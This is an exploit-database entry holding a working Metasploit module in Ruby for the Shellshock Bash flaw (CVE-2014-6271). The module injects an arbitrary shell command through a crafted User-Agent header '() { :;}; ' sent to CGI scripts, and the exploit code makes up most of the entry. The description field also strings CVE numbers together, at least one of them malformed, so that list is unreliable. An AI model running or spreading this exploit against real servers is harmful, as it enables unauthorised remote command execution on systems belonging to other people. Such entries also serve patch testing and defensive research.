ID

VAR-E-201409-0548

CVE

EDB ID

34777

TITLE

GNU Bash - Environment Variable Command Injection (Metasploit) - CGI remote Exploit

DESCRIPTION

GNU Bash - Environment Variable Command Injection (Metasploit). CVE-2014-7910CVE-112004CVE-2014-7227CVE-2014-7196CVE-2014-7169CVE-2014-62771CVE-2014-6271CVE-2014-3671CVE-2014-3659 . remote exploit for CGI platform

AFFECTED PRODUCTS

EXPLOIT

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Shaun Colley <scolley at ioactive.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))

register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], self.class)
end

def run
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['TARGETURI'],
'agent' => "() { :;}; " + datastore['CMD']
})

if res && res.code == 200
print_good("Command sent - 200 received")
else
print_error("Command sent - non-200 reponse")
end
end
end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

Environment Variable Command Injection (Metasploit)

TAGS

CREDITS

Shaun Colley

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2023-05-30T11:41:26.862000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE